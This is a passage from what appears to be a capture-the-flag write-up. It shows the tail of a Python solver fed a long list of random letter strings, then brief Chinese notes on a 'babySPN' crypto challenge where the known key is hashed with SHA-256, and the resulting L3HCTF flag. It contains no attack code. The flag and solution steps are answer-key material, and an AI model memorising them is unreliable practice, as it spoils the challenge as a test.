'atlkeburbqttzgdv', 'chctjbylvaqivhnu', 'kljxzdlufmjsakrn', 'ldqznwrdmigxmplj', 'jnzsugujwghliiyj', 'davvfzptwjezrtut', 'ayvxlihyfxjghbnj', 'damnybtgbouyhgvm', 'xycclwykeleqgqbz', 'xcexkuimhauveeep', 'alawhglfqmrpujdu', 'ucqkzhnxzfmhrscm', 'giqfhrubpvulkbcz', 'ibjyvrczdfvorhxe', 'qbwwxgvtphqitwrc', 'nznctodxeivfdauc', 'gcelouuuaxwxmvsw', 'rqelrfgexnkdnazl', 'fbepvxtrhujvrdfc', 'iczbfakdstudncnv', 'qwyjcjokwchroxbr', 'ycjrzaetiivrrdkc', 'hjaflkntduxbssgu', 'rwfrleciyxwvxygj', 'pfkodbjvlrgvryzh', 'fyvawqjluonvjjxc', 'nzkedkvundnsfmnm', 'zkvlbpsldcyafkpj', 'hrnjhejkhdkcmnmh', 'sydwdkxfjjkvvbfk', 'ydznqbenlyrstgmu', 'katzotudzcpwwvkb', 'xucadxwemqvixtva', 'nnbzlmlmesntwwhh', 'sidmvrqryepebkda', 'zqlfnaleybermqpx', 'kduaxanohkcebsaj', 'jajuaudbrkkcnyyq', 'rhtefiqjirzhpjwt', 'tgbyhnyxxivxpebp', 'oqqwgmpqimqnjrxz', 'tptopmpejaaaxokz', 'rglhbkxoupbeqxhn', 'diannxikfirreuin', 'ilkjfpwdabcorejuk', 'tzygwhlicpqhsxsm', 'ednqyfigrhjjsixi', 'ichtvcqqxhzvwyrk', 'ckyoxfbufktqznpj', 'xoskspafepfgeeit', 'jcbtyhklimaasdfu', 'cfkabckzjghzapvxx', 'owdyarpowhkunwhy', 'etnyrgssgohswpva', 'ccdzytrxkxrfobiv', 'vxmwodlmkjmnanqf', 'lfoyuzoffzuzknom', 'avpouwwwczpcsixm', 'befuilgwreabcsjqn', 'wwlkjupnpinaskti', 'wuaufrnozwrcwrux', 'ddmlqscfylvvlqet', 'ngtehvarjqltinad', 'hxilufvmpbmybqse', 'sxckpnkpctadurmj', 'tkauepahazlgunce', 'wdnczbubbvaeugur', 'blbtvambkabhgfmt', 'hscywaqlqpzmajlw', 'kqbcyrflffoyrrde', 'swatgwoezppbhzrz', 'wncpezwknhwlkyfa', 'fxoalqugauheullc', 'yfejaqfwodcbvjxo', 'srdidycbfudekvry', 'wbmqrnpsbwvajyst', 'eojhwvsjkhruoihy', 'lebgsqpfytyfljzy', 'nlfrksicpahzoyzs', 'vwfuihhrcdfzahuq', 'zxossokxsiilrhwn', 'nnogzvnyavbajgxg', 'xudcsovkwdigfykp', 'oxnernpkebnwtzgk', 'lpkluymjfczcabbg', 'xwmoythsnnalagrd', 'bwxqduzhwponwuxh', 'tvqujorvigsrzqra', 'ruhirwfwnudvhndi', 'yigakwntqrddbxel', 'doyelkmwfiqrcvwf', 'nqepgxvwmpczbqmp', 'euwsrbwhhaosbuxv', 'qybvertwzftjmsbo', 'ovrxezhfnplztkrf', 'zhsklztsgdxqqlos', 'hjkalxuedegqevxf', 'acqcmxxnvxiyiarj', 'irfjxvnxvcwfggyf', 'ivjlvhotuhyjrbqi', 'ybowwazfbqnlxhix', 'rwldwkwiuokthyvd', 'emeoryhhzmchkcaf', 'wkjtfktltlxrpodu', 'zozxqufosbvhvzmk', 'kejjywawtflpnzxq', 'tgjqeqqyflstgyfn', 'edodalhdkbpbvbbi', 'svvbrdqtivcocuok', 'jqycfyojmcojaike', 'uysmgvolzqhvrjcg', 'jepqutdjnzdxpuis', 'htypdjotmvugsqrn', 'ruanlnsslyvcmloa', 'rmguapshfylrqcyw', 'idmrozfesprjyydi', 'igiijxxuaewkngez', 'mmfbpbxhjbbtaktl', 'wbryhbistnsnxcre', 'eyypsgultocxkddt', 'hmgsapmnlbhkldjy', 'srdiuczmorzzmqmx', 'jydlzvjtvssbiriv', 'xyxlubdngtpamnie', 'hzxhqmvdfeelavey', 'dnmkfxoqikbpnncm', 'uvykqjhcbjrkhwws', 'hcouhxnefskqtsmj', 'tlzdfixqvzmpnxey', 'bqthxadcjbuoihjb', 'amqcryxqrquugjds', 'kazopbofkzigbrjf', 'yoazjvgcjnuynogm', 'cekiuyvsxvnhllot', 'skaakenhygficler', 'vyyblxbztgjdxemi', 'cwijfnzpasohsysb', 'vxshtpkflepkegsv', 'dqlajjejvwkljffm', 'pdrurythrunegiyt', 'wyniiprlwdxayecx', 'onzimmmmwsczxrud', 'wahjycyykcusbzkh', 'pmxfomqplrchaeji', 'cuiofjxjmfwmwjpo', 'mqeyxhbjjhtyiqax', 'vxjtwryiiaiqmgxc', 'rpxhygecrrxsorep', 'pdhcrtkvutpxkjqk', 'xghqzhfjrcskksay', 'llatzvkvpehtkmlp', 'evcdafiqhelayolh', 'wnpjllgpnngclefg', 'cplkciggvoivrdrk', 'rwzojlohceoksqei', 'ibblbsqbtieahuip', 'rxymbuhpxlybbpwj', 'oufytsooclpjthdt', 'ladsdwyczkhlprsk', 'lqglakcncwvhbmdq', 'pvffqrafetpcnonv', 'ltxqocyoaqwqlclh', 'ujleyjgijrzxpohv', 'hdliszkijxjfdhuz', 'uerwlwcboltvibyv', 'frnvgotjrsmsvdrv', 'kprkmutaqpumileg', 'dyfntcyriixrbzpu', 'pljixloqwehtiyju', 'guvbkiuixwtllbyh', 'aywoiniduriovexc', 'xkhsubtnkyitnjuu', 'orgjwbnwirxnlvkv', 'tbnfpmbwrdvlcids', 'ljptwryckhaervnt', 'piklsbpqrpcwtkax', 'btjqiwzsjhtyrabp', 'xaqhoeyrofnixysd', 'ildloryxoleksykm', 'tpkrvszvlfvhpgua', 'uomslwptxjarrgtp', 'qfawaceubqhtfqia', 'xvsatjnexaphrcsq', 'chlowdcammoiqswp', 'vryqjuplbwlaomsw', 'zkndhkyqnmooseqy', 'oehmlodyfkbgwggc', 'ygicydiozmvrkjov', 'vffghaadldklcvpa', 'dudkmcpnwktzabcyc', 'cgpwhbxlqbydfial', 'xkeqyrbppiqzzdtc', 'aywomxmmicyapqry', 'qxrfswxmtgqwiaiu', 'ogesstqnbrqzcike', 'quvgbtgtjtgxrqez', 'ilrohxbbjzdyifwb', 'mwbgfsetpneteejs', 'awvqavqersnsgvym', 'lslutwvxqsgrasxf', 'hujsniqoktvleeph', 'tbibnfjtibcusfqc', 'jkeeyrhwuudkrzmx', 'rckpwpavcgvgmbqn', 'drzbjsuvjgfxgpzx', 'kmdsvposrrdokxzu', 'lapmakjdxbobqslx', 'awqhcznyrcbreinx', 'sgtrrbfxpgcdmlfi', 'hjvvuazaydvuqzfl', 'ukvueksttoovtqnx', 'fjcjtxrbzsrxelui', 'ynxnlswchgyljfah', 'ueznbslrhcswvlvg', 'ixvfnmhdbnowsido', 'tnvrbemiduyabcpgf', 'xicjxbvnripjquxk', 'pnguepiandvkkjgm', 'fmjuyijqtflklzrz', 'wowbwesqdjgbnfza', 'bzhqulhhfrmvlikt', 'xwwbxkpqwzuvbfcc', 'tzfeejglmxpjfiob', 'ttvlzzgyydwznuuj', 'zsaqdcbxiivqeibj', 'jqhivhimzrbhfjye', 'woxtmnynlehbynso', 'tweacunvvzvxvkhe', 'wvjiwrdllmbrzyzh', 'kpawpohuffukizip', 'culggzusblbzrbvp', 'rfiaujemuathqnrg', 'txcebmnimvozhnbq', 'lbpnqjkgkmqepuca', 'rqfueobyxicwpkao', 'rggegjcjqzhrkjqn', 'xbxlktpwwsergaut', 'lhowgnysedqhcquk', 'oqldregahyfprwsi', 'dizcwcthvgopgnwx', 'bzpodvsqzlmeakvy', 'vclpieckqkxhblhl', 'lnvngowxjpgdkwfv', 'yvkdxviywwowawba', 'zxymzgtfqsshclgz', 'boqkrbmnsxvbiema', 'hoeexawhwjrohbxe', 'luocnssrsnrlbmyi', 'tduuyggdvgbfgmhw', 'frvhgulszabsrunb', 'vcsontpzpacsgobo', 'kaiqymcnijuixgvp', 'vgfugfulxkppkurw', 'foudqjgejntrwhke', 'abldoxtbpltfnsni', 'kqxvgbgkkoakfeaj', 'rdkjzlwcpygzkshq', 'qfjxzlkyrpmuvlrf', 'depydkicbtuwrbuf', 'vmpfhqfgcyreyqdl', 'oneokdfkplafayzn', 'fjcerifwgajithlr', 'gtlxawvwmlmqsuuu', 'wgfxdchxqlzdxcpr', 'ajdrspwucswacivi', 'wjzhtgddolhaahmo', 'hbyrafvgohzefptw', 'roxblqysntdnkfqx', 'rmvrjdkeppblcmvy', 'xzgbkvnyxljluccp', 'dvvwfjxmydfdzqyt', 'kxxjltlgbaiguihx', 'rahukefeaibeekpq', 'spsdfgpofpoanurm', 'pjmewktbcytjsvrs', 'nhtbcrwqzoxbhkyi', 'eanjdepcqzqdeoea', 'ujhvaizclocaksng', 'tkucqzszyktwvyjq', 'dnummodkocgrdhbx', 'bzvvgfxvgzqjshji', 'ddctbuygjncstchf', 'mrpciqjmowzdjvsm', 'qhdgxhopljagfbfi', 'ksnimciprjexohfu', 'sdfgsfcwgaknzrqt', 'keiywmjuavometzf', 'pxdzshicopwmofxl', 'xdwlukdaxhwjojeq', 'krnlgjtxhnuntwsa', 'bpnrhdwfkagaubka', 'beoyleogpryyjcmv', 'rrhlmtgpyfszchsi', 'ozdknlljectjisdg', 'wdobdazbwjecqcep', 'jfxjpbzonkvxltib', 'fwcffctkbvpkgexm', 'gornbkdvwuqirrlk', 'yyiqngwrxevbwchf', 'ggyqhxvbjwyzuxwf', 'ixhwkhgotdmkamtj', 'dbqqdygrhtysgxgw', 'mzwmkjfknwfhulgv', 'xtngfkkjuaonbemi', 'vghhkblxwbijsqwi', 'fkfulljgmpkmvxwn', 'kqdckewxfcwyjkuo', 'msaxmgcjerovxgqo', 'bswhhcxiljhjeivr', 'lwllrzomgnjzjqxh', 'gugxbiwfpjbtscyw', 'mmqsxwrnsiprrmyv', 'pdjccwbewqxbhgzn', 'mshemwgzytwmqljx', 'moezekitiafkvsqr', 'edthrvvafeypjypw', 'qspowcqalsukqhhy', 'wasrmlhgjgalcbrb', 'dglyfamnfpqkmteh', 'xgpvsclrqskbjnao', 'iawgyqoqnmxmwtrk'])
        print(num3)
        s=calc([num1,num2,num3])#自动计算flag
        print(s)
        #assert solution('a', str1, str2, str3, str4, 'bda', str5, str6, str7, str8, 'bcdef', 'aabcc', 'acbac', 'bdcaa', 'bbbbcc', 'babccc', 'abaccc') == True
except AssertionError:
        raise

Crypto

babySPN

  • 解题步骤

    分析加密方法 四轮spn &#x20;

    flag与题目无关&#x20;

    K已知

    hash_value = sha256(long_to_bytes(list_to_int(K))).hexinigest()

    print(hash_value)

  • flag

    L3HCTF{6abd8c217785dc1a7074a1bdc624bd41c6307100cf5e01ee6c58708e0eeb4ce8}